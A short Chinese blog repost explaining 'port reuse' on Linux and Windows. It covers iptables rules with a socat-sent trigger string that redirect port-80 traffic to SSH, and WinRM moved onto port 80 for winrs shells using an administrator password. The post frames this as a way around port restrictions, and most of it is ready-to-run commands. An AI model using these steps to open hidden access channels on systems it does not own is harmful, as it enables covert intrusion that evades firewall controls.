系统相关
首页 > 系统相关> > Windows - Linux端口复用

Windows - Linux端口复用

作者:互联网

Linux
一:使用iptables进行端口复用,目测可以进行内外网端口绕过
1.1 设置端口复用链名 test
iptables -t nat -N test

1.2 端口复用规则
iptables -t nat -A test -p tcp -j REDIRECT --to-port 22
表示该规则为流量转发到22端口

1.3 设置规则生效开关信息为start
iptables -A INPUT -p tcp -m string --string ‘start’ --algo bm -m recent --set --name test --rsource -j ACCEPT

1.4 设置规则失效开关信息为stop
iptables -A INPUT -p tcp -m string --string ‘stop’ --algo bm -m recent --name test --remove -j ACCEPT

1.5 运行 表示经过80的流量会转发到22端口
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name test --rsource -j test

 

二:开启利用
2.1 开启复用信号
echo start | socat - tcp:remote_ip:80

2.2 ssh80端口登录
ssh -p 80 root@remote_ip

2.3 关闭复用
echo stop | socat - tcp:192.168.28.128:80

Windows
一:Windows server 2012及以上,winrm默认就开启
启动服务
winrm quickconfig -q
新增80端口
winrm set winrm/config/service @{EnableCompatibilityHttpListener=“true”}
因此2012 winrm的默认端口5985仍然开启,80端口借用iis服务也会开启

二:windows 2008
启用服务
winrm quickconfig -q
修改监听端口
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port=“80”}
2008则只有80端口开启

三:通过winrm连接远程机器
启动服务
winrm quickconfig -q
设置信任主机
winrm set winrm/config/Client @{TrustedHosts="*"}
连接使用
winrs -r:http://remote_ip -u:administrator -p:Passw0rd whoami
winrs -r:http://remote_ip -u:administrator -p:Passw0rd cmd 获得交互shell

普通用户无法进行winrm远程,新建的用户若要使用winrm,需要添加到管理员组

 

 

标签:Windows,端口,winrm,复用,tcp,--,Linux,test,80
来源: https://www.cnblogs.com/yszr/p/15441296.html